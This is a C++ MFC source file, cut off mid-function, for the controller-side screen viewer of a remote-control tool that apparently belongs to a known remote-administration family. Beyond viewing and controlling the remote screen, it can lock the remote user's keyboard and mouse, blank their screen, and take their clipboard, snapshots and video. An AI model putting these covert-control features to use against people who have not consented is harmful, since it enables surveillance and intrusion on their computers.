1084 lines
30 KiB
C++
1084 lines
30 KiB
C++
// ScreenSpyDlg.cpp : implementation file
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Client.h"
|
||
#include "ScreenSpyDlg.h"
|
||
#include "GroupDlg.h"
|
||
extern CString strHost;
|
||
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CScreenSpyDlg dialog
|
||
enum
|
||
{
|
||
IDM_CONTROL = 0x0010,
|
||
IDM_DISABLEAERO, // 禁用AERO特效
|
||
IDM_SEND_CTRL_ALT_DEL,
|
||
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
|
||
IDM_BLOCK_INPUT, // 锁定远程计算机输入
|
||
IDM_BLANK_SCREEN, // 黑屏
|
||
IDM_CAPTURE_LAYER, // 捕捉层
|
||
IDM_SAVEDIB, // 保存图片
|
||
IDM_SAVEAVI_S, // 保存录像
|
||
IDM_GET_CLIPBOARD, // 获取剪贴板
|
||
IDM_SET_CLIPBOARD, // 设置剪贴板
|
||
IDM_ALGORITHM_SCAN, // 隔行扫描算法
|
||
IDM_ALGORITHM_DIFF, // 差异比较算法
|
||
IDM_DEEP_1, // 屏幕色彩深度.....
|
||
IDM_DEEP_4_GRAY,
|
||
IDM_DEEP_4_COLOR,
|
||
IDM_DEEP_8_GRAY,
|
||
IDM_DEEP_8_COLOR,
|
||
IDM_DEEP_16,
|
||
IDM_DEEP_32
|
||
};
|
||
|
||
|
||
// 两种算法
|
||
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
|
||
#define ALGORITHM_DIFF 2 // 速度很慢,也占CPU,但是数据量都是最小的
|
||
|
||
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||
: CDialog(CScreenSpyDlg::IDD, pParent)
|
||
{
|
||
//{{AFX_DATA_INIT(CScreenSpyDlg)
|
||
// NOTE: the ClassWizard will add member initialization here
|
||
//}}AFX_DATA_INIT
|
||
|
||
m_iocpServer = pIOCPServer;
|
||
m_pContext = pContext;
|
||
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
||
m_lpScreenDIB = NULL;
|
||
|
||
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_SCREENSYP), IMAGE_ICON, 20, 20, 0);
|
||
|
||
sockaddr_in sockAddr;
|
||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||
int nSockAddrLen = sizeof(sockAddr);
|
||
BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||
|
||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||
|
||
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
|
||
|
||
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||
|
||
memset(&m_MMI, 0, sizeof(MINMAXINFO));
|
||
|
||
m_bIsCtrl = false; // 默认不控制
|
||
m_nCount = 0;
|
||
m_bCursorIndex = 1;
|
||
|
||
m_bOnClose = FALSE;
|
||
}
|
||
|
||
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
//{{AFX_DATA_MAP(CScreenSpyDlg)
|
||
// NOTE: the ClassWizard will add DDX and DDV calls here
|
||
//}}AFX_DATA_MAP
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||
//{{AFX_MSG_MAP(CScreenSpyDlg)
|
||
ON_WM_SYSCOMMAND()
|
||
ON_WM_SIZE()
|
||
ON_WM_CLOSE()
|
||
ON_WM_HSCROLL()
|
||
ON_WM_VSCROLL()
|
||
ON_WM_PAINT()
|
||
ON_MESSAGE(WM_GETMINMAXINFO, OnGetMiniMaxInfo)
|
||
ON_WM_TIMER()
|
||
//}}AFX_MSG_MAP
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CScreenSpyDlg message handlers
|
||
void CScreenSpyDlg::OnClose()
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
closesocket(m_pContext->m_Socket);
|
||
|
||
if (!m_aviFile.IsEmpty())
|
||
{
|
||
KillTimer(132);
|
||
|
||
m_aviFile = _T("");
|
||
m_aviStream.Close();
|
||
}
|
||
|
||
::ReleaseDC(m_hWnd, m_hDC);
|
||
DeleteDC(m_hMemDC);
|
||
|
||
// DeleteDC(m_hMemDC);
|
||
DeleteObject(m_hFullBitmap);
|
||
|
||
if (m_lpbmi)
|
||
delete []m_lpbmi;
|
||
OutputDebugString(_T("m_lpbmi 已经释放\r\n"));
|
||
if (m_lpbmi_rect)
|
||
delete []m_lpbmi_rect;
|
||
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
|
||
|
||
m_bIsCtrl = false;
|
||
|
||
m_bOnClose = TRUE;
|
||
|
||
CDialog::OnClose();
|
||
}
|
||
|
||
void CScreenSpyDlg::OnReceiveComplete()
|
||
{
|
||
m_nCount++;
|
||
|
||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_FIRSTSCREEN:
|
||
DrawFirstScreen();
|
||
break;
|
||
case TOKEN_NEXTSCREEN:
|
||
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
|
||
DrawNextScreenRect();
|
||
else
|
||
DrawNextScreenDiff();
|
||
break;
|
||
case TOKEN_BITMAPINFO:
|
||
ResetScreen();
|
||
break;
|
||
case TOKEN_CLIPBOARD_TEXT:
|
||
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
|
||
break;
|
||
default:
|
||
TRACE(L"传输发生异常数据\r\n");
|
||
// 传输发生异常数据
|
||
return;
|
||
}
|
||
}
|
||
|
||
|
||
bool CScreenSpyDlg::SaveSnapshot()
|
||
{
|
||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format(_T("_%Y-%m-%d_%H-%M-%S.bmp"));
|
||
CFileDialog dlg(FALSE, _T("bmp"), strFileName, OFN_OVERWRITEPROMPT, _T("位图文件(*.bmp)|*.bmp|"), this);
|
||
if(dlg.DoModal () != IDOK)
|
||
return false;
|
||
|
||
BITMAPFILEHEADER hdr;
|
||
LPBITMAPINFO lpbi = m_lpbmi;
|
||
CFile file;
|
||
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||
{
|
||
MessageBox(_T("文件保存失败"));
|
||
return false;
|
||
}
|
||
|
||
// BITMAPINFO大小
|
||
int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
|
||
|
||
// Fill in the fields of the file header
|
||
hdr.bfType = ((WORD) ('M' << 8) | 'B'); // is always "BM"
|
||
hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr);
|
||
hdr.bfReserved1 = 0;
|
||
hdr.bfReserved2 = 0;
|
||
hdr.bfOffBits = sizeof(hdr) + nbmiSize;
|
||
// Write the file header
|
||
file.Write(&hdr, sizeof(hdr));
|
||
file.Write(lpbi, nbmiSize);
|
||
// Write the DIB header and the bits
|
||
file.Write(m_lpScreenDIB, lpbi->bmiHeader.biSizeImage);
|
||
file.Close();
|
||
|
||
return true;
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnReceive()
|
||
{
|
||
if (m_pContext == NULL)
|
||
return;
|
||
|
||
CString str;
|
||
// str.Format(_T("\\\\%s %d * %d 第%d帧 %d%%"), m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight,
|
||
// m_nCount, m_pContext->m_nTransferProgress);
|
||
str.Format(_T("[%s - %s] 远程协助"), strHost,m_IPAddress);
|
||
SetWindowText(str);
|
||
}
|
||
|
||
void CScreenSpyDlg::SendResetScreen(int nBitCount)
|
||
{
|
||
m_nBitCount = nBitCount;
|
||
|
||
BYTE bBuff[2];
|
||
bBuff[0] = COMMAND_SCREEN_RESET;
|
||
bBuff[1] = m_nBitCount;
|
||
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
|
||
}
|
||
|
||
void CScreenSpyDlg::SendResetAlgorithm(UINT nAlgorithm)
|
||
{
|
||
BYTE bBuff[2];
|
||
bBuff[0] = COMMAND_ALGORITHM_RESET;
|
||
bBuff[1] = nAlgorithm;
|
||
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
|
||
}
|
||
|
||
BOOL CScreenSpyDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
|
||
// Set the icon for this dialog. The framework does this automatically
|
||
// when the application's main window is not a dialog
|
||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu != NULL)
|
||
{
|
||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, _T("控制屏幕(&Y)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DISABLEAERO, _T("禁用AREO特效(WIN7&Vista)(&E)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, _T("发送Ctrl-Alt-Del(&K)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, _T("跟踪服务端鼠标(&T)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, _T("锁定服务端鼠标和键盘(&L)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, _T("服务端黑屏(&B)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, _T("捕捉层(导致鼠标闪烁)(&L)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, _T("保存快照(&S)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI_S, _T("保存录像(&A)"));
|
||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, _T("获取剪贴板(&R)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, _T("设置剪贴板(&L)"));
|
||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, _T("隔行扫描算法(&S)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, _T("差异比较算法(&X)"));
|
||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, _T("1 位黑白(&A)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, _T("4 位灰度(&B)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, _T("4 位彩色(&C)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, _T("8 位灰度(&D)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, _T("8 位彩色(&E)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, _T("16位高彩(&F)"));
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, _T("32位真彩(&G)"));
|
||
|
||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
|
||
}
|
||
|
||
// TODO: Add extra initialization here
|
||
CString str;
|
||
str.Format(_T("\\\\%s %d * %d"), m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
|
||
SetWindowText(str);
|
||
|
||
m_HScrollPos = 0;
|
||
m_VScrollPos = 0;
|
||
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
|
||
|
||
ICONINFO CursorInfo;
|
||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||
if (CursorInfo.hbmMask != NULL)
|
||
::DeleteObject(CursorInfo.hbmMask);
|
||
if (CursorInfo.hbmColor != NULL)
|
||
::DeleteObject(CursorInfo.hbmColor);
|
||
m_dwCursor_xHotspot = CursorInfo.xHotspot;
|
||
m_dwCursor_yHotspot = CursorInfo.yHotspot;
|
||
|
||
m_RemoteCursorPos.x = 0;
|
||
m_RemoteCursorPos.x = 0;
|
||
m_bIsTraceCursor = false;
|
||
|
||
// 初始化窗口大小结构
|
||
m_hDC = ::GetDC(m_hWnd);
|
||
m_hMemDC = CreateCompatibleDC(m_hDC);
|
||
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
|
||
SelectObject(m_hMemDC, m_hFullBitmap);
|
||
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
|
||
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
|
||
|
||
InitMMI();
|
||
SendNext();
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// EXCEPTION: OCX Property Pages should return FALSE
|
||
}
|
||
|
||
// void CScreenSpyDlg::FullScreen()
|
||
// {
|
||
// m_bIsFullScreen = !m_bIsFullScreen; // 设置全屏显示标志
|
||
// //一种更好的全屏显示
|
||
// LONG style = ::GetWindowLong(this->m_hWnd,GWL_STYLE);
|
||
// if(m_bIsFullScreen)//全屏显示
|
||
// {
|
||
// style &= ~(WS_DLGFRAME | WS_THICKFRAME);
|
||
// SetWindowLong(this->m_hWnd, GWL_STYLE, style);
|
||
// //this->ShowWindow(SW_SHOWMAXIMIZED);
|
||
// CRect rect;
|
||
// this->GetWindowRect(&rect);
|
||
// ::SetWindowPos(this->m_hWnd,HWND_NOTOPMOST,rect.left-1, rect.top-1, rect.right-rect.left + 3, rect.bottom-rect.top + 3, SWP_FRAMECHANGED);
|
||
// }
|
||
// else
|
||
// {
|
||
// style |= WS_DLGFRAME | WS_THICKFRAME;
|
||
// SetWindowLong(this->m_hWnd, GWL_STYLE, style);
|
||
// this->ShowWindow(SW_NORMAL);
|
||
// }
|
||
// }
|
||
|
||
void CScreenSpyDlg::ResetScreen()
|
||
{
|
||
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||
if (m_lpbmi != NULL)
|
||
{
|
||
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
|
||
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
|
||
|
||
delete[] m_lpbmi;
|
||
delete[] m_lpbmi_rect;
|
||
|
||
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
|
||
|
||
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||
|
||
DeleteObject(m_hFullBitmap);
|
||
|
||
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
|
||
SelectObject(m_hMemDC, m_hFullBitmap);
|
||
|
||
memset(&m_MMI, 0, sizeof(MINMAXINFO));
|
||
InitMMI();
|
||
|
||
// 分辨率发生改变
|
||
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
|
||
{
|
||
RECT rectClient, rectWindow;
|
||
GetWindowRect(&rectWindow);
|
||
GetClientRect(&rectClient);
|
||
ClientToScreen(&rectClient);
|
||
|
||
// 计算ClientRect与WindowRect的差距(标题栏,滚动条)
|
||
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
|
||
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
|
||
MoveWindow(&rectWindow);
|
||
}
|
||
}
|
||
}
|
||
|
||
void CScreenSpyDlg::DrawFirstScreen()
|
||
{
|
||
m_bIsFirst = false;
|
||
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
|
||
|
||
PostMessage(WM_PAINT);
|
||
}
|
||
|
||
void CScreenSpyDlg::DrawNextScreenDiff()
|
||
{
|
||
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
|
||
bool bIsReDraw = false;
|
||
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
|
||
LPVOID lpFirstScreen = m_lpScreenDIB;
|
||
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||
|
||
POINT oldPoint;
|
||
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
|
||
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
|
||
|
||
// 鼠标移动了
|
||
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
|
||
bIsReDraw = true;
|
||
|
||
// 光标类型发生变化
|
||
int nOldCursorIndex = m_bCursorIndex;
|
||
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
|
||
if (nOldCursorIndex != m_bCursorIndex)
|
||
{
|
||
bIsReDraw = true;
|
||
if (m_bIsCtrl && !m_bIsTraceCursor)
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||
}
|
||
|
||
// 屏幕是否变化
|
||
if (dwBytes > 0)
|
||
bIsReDraw = true;
|
||
|
||
__asm
|
||
{
|
||
mov ebx, [dwBytes]
|
||
mov esi, [lpNextScreen]
|
||
jmp CopyEnd
|
||
CopyNextBlock:
|
||
mov edi, [lpFirstScreen]
|
||
lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
|
||
add edi, eax // lpFirstScreen偏移eax
|
||
lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
|
||
mov ecx, eax
|
||
sub ebx, 8 // ebx 减去 两个dword
|
||
sub ebx, ecx // ebx 减去DIB数据的大小
|
||
rep movsb
|
||
CopyEnd:
|
||
cmp ebx, 0 // 是否写入完毕
|
||
jnz CopyNextBlock
|
||
}
|
||
|
||
if (bIsReDraw) PostMessage(WM_PAINT);
|
||
|
||
}
|
||
|
||
void CScreenSpyDlg::DrawNextScreenRect()
|
||
{
|
||
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
|
||
bool bIsReDraw = false;
|
||
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
|
||
LPVOID lpFirstScreen = m_lpScreenDIB;
|
||
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||
|
||
|
||
// 保存上次鼠标所在的位置
|
||
RECT rectOldPoint;
|
||
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
|
||
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
|
||
|
||
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
// 判断鼠标是否移动
|
||
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
|
||
m_RemoteCursorPos.y))
|
||
bIsReDraw = true;
|
||
|
||
// 光标类型发生变化
|
||
int nOldCursorIndex = m_bCursorIndex;
|
||
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
|
||
if (nOldCursorIndex != m_bCursorIndex)
|
||
{
|
||
bIsReDraw = true;
|
||
if (m_bIsCtrl && !m_bIsTraceCursor)
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||
}
|
||
|
||
// 判断鼠标所在区域是否发生变化
|
||
DWORD dwOffset = 0;
|
||
while (dwOffset < dwBytes && !bIsReDraw)
|
||
{
|
||
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
|
||
RECT rectDest;
|
||
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
|
||
bIsReDraw = true;
|
||
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
|
||
}
|
||
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
|
||
//////////////////////////////////////////////////////////////////////////
|
||
|
||
dwOffset = 0;
|
||
while (dwOffset < dwBytes)
|
||
{
|
||
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
|
||
int nRectWidth = lpRect->right - lpRect->left;
|
||
int nRectHeight = lpRect->bottom - lpRect->top;
|
||
|
||
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
|
||
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
|
||
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
|
||
* m_lpbmi_rect->bmiHeader.biHeight;
|
||
|
||
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
|
||
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
|
||
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
|
||
|
||
// 不需要重绘鼠标的话,直接重绘变化的部分
|
||
if (!bIsReDraw)
|
||
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
|
||
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
|
||
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
|
||
|
||
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
|
||
}
|
||
|
||
if (bIsReDraw)
|
||
PostMessage(WM_PAINT);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
CDialog::OnSize(nType, cx, cy);
|
||
|
||
// TODO: Add your message handler code here
|
||
if (!IsWindowVisible())
|
||
return;
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
|
||
if ((rect.right + m_HScrollPos) > m_lpbmi->bmiHeader.biWidth)
|
||
InterlockedExchange((PLONG)&m_HScrollPos, m_lpbmi->bmiHeader.biWidth - rect.right);
|
||
|
||
if ((rect.bottom + m_VScrollPos) > m_lpbmi->bmiHeader.biHeight)
|
||
InterlockedExchange((PLONG)&m_VScrollPos, m_lpbmi->bmiHeader.biHeight - rect.bottom);
|
||
|
||
SetScrollPos(SB_HORZ, m_HScrollPos);
|
||
SetScrollPos(SB_VERT, m_VScrollPos);
|
||
|
||
if (rect.right >= m_lpbmi->bmiHeader.biWidth && rect.bottom >= m_lpbmi->bmiHeader.biHeight)
|
||
{
|
||
ShowScrollBar(SB_BOTH, false);
|
||
InterlockedExchange((PLONG)&m_HScrollPos, 0);
|
||
InterlockedExchange((PLONG)&m_VScrollPos, 0);
|
||
RECT rectClient, rectWindow;
|
||
GetWindowRect(&rectWindow);
|
||
GetClientRect(&rectClient);
|
||
ClientToScreen(&rectClient);
|
||
// 边框的宽度
|
||
int nBorderWidth = rectClient.left - rectWindow.left;
|
||
|
||
rectWindow.right = rectClient.left + nBorderWidth + m_lpbmi->bmiHeader.biWidth;
|
||
rectWindow.bottom = rectClient.top + m_lpbmi->bmiHeader.biHeight + nBorderWidth;
|
||
MoveWindow(&rectWindow);
|
||
}
|
||
else ShowScrollBar(SB_BOTH, true);
|
||
}
|
||
|
||
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
switch (nID)
|
||
{
|
||
case IDM_CONTROL:
|
||
{
|
||
m_bIsCtrl = !m_bIsCtrl;
|
||
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||
|
||
if (m_bIsCtrl)
|
||
{
|
||
if (m_bIsTraceCursor)
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
|
||
else
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
|
||
}
|
||
else
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
|
||
}
|
||
break;
|
||
case IDM_DISABLEAERO:
|
||
{
|
||
bool bIsChecked = pSysMenu->GetMenuState(IDM_DISABLEAERO, MF_BYCOMMAND) & MF_CHECKED;
|
||
pSysMenu->CheckMenuItem(IDM_DISABLEAERO, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
|
||
BYTE bToken[2];
|
||
bToken[0] = COMMAND_DISABLE_AERO;
|
||
bToken[1] = bIsChecked;
|
||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||
}
|
||
break;
|
||
case IDM_SEND_CTRL_ALT_DEL:
|
||
{
|
||
BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL;
|
||
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
|
||
}
|
||
break;
|
||
case IDM_TRACE_CURSOR: // 跟踪服务端鼠标
|
||
{
|
||
m_bIsTraceCursor = !m_bIsTraceCursor;
|
||
pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||
if (m_bIsCtrl)
|
||
{
|
||
if (!m_bIsTraceCursor)
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
|
||
else
|
||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
|
||
}
|
||
// 重绘消除或显示鼠标
|
||
PostMessage(WM_PAINT);
|
||
}
|
||
break;
|
||
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
|
||
{
|
||
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
||
pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
|
||
BYTE bToken[2];
|
||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||
bToken[1] = !bIsChecked;
|
||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||
}
|
||
break;
|
||
case IDM_BLANK_SCREEN: // 服务端黑屏
|
||
{
|
||
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED;
|
||
pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
|
||
BYTE bToken[2];
|
||
bToken[0] = COMMAND_SCREEN_BLANK;
|
||
bToken[1] = !bIsChecked;
|
||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||
}
|
||
break;
|
||
case IDM_CAPTURE_LAYER: // 捕捉层
|
||
{
|
||
bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED;
|
||
pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
|
||
BYTE bToken[2];
|
||
bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER;
|
||
bToken[1] = !bIsChecked;
|
||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||
}
|
||
break;
|
||
case IDM_SAVEDIB:
|
||
SaveSnapshot();
|
||
break;
|
||
case IDM_SAVEAVI_S:
|
||
{
|
||
|
||
if (pSysMenu->GetMenuState(IDM_SAVEAVI_S, MF_BYCOMMAND) & MF_CHECKED)
